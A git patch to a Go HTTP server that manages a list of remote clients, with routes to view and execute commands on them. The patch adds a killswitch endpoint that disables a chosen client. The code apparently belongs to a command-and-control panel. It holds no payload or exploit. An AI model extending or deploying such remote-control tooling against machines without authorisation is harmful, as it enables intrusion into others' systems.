From a76a2494b299b13157763f23f1a23c45298e2b6b Mon Sep 17 00:00:00 2001 From: raul Date: Fri, 7 Jun 2024 09:59:14 +0200 Subject: [PATCH] Setup killswitch function backend --- cmd/httpServer.go | 21 +++++++++++++++++---- 1 file changed, 17 insertions(+), 4 deletions(-) diff --git a/cmd/httpServer.go b/cmd/httpServer.go index f0396e2..27c34c5 100644 --- a/cmd/httpServer.go +++ b/cmd/httpServer.go @@ -31,13 +31,13 @@ func WebServer() { r.GET("/", getRoot) r.GET("/command/:clientid", getCommands) r.POST("/command/:clientid", execCMD) + r.POST("/kill/:clientid", sendKillswitch) r.Run(":" + WebPort) } func getRoot(c *gin.Context) { c.HTML(http.StatusOK, "templates/index.html", gin.H{ - "UserAgent": c.Request.UserAgent(), - "Clients": clientList, + "Clients": clientList, }) } @@ -54,11 +54,24 @@ func getCommands(c *gin.Context) { return } c.HTML(http.StatusOK, "templates/command.html", gin.H{ - "UserAgent": c.Request.UserAgent(), - "Client": client, + "Client": client, }) } +func sendKillswitch(c *gin.Context) { + clientID := c.Param("clientid") + intClientID, err := strconv.Atoi(clientID) + if err != nil { + c.String(http.StatusInternalServerError, "Error happened fetching client: %v", err) + return + } + inst := Instructions{ + IsKillswitch: true, + } + clientList[intClientID].Instruct(inst) + clientList[intClientID].IsOnline = false +} + func execCMD(c *gin.Context) { id := c.Param("clientid") idInt, err := strconv.Atoi(id)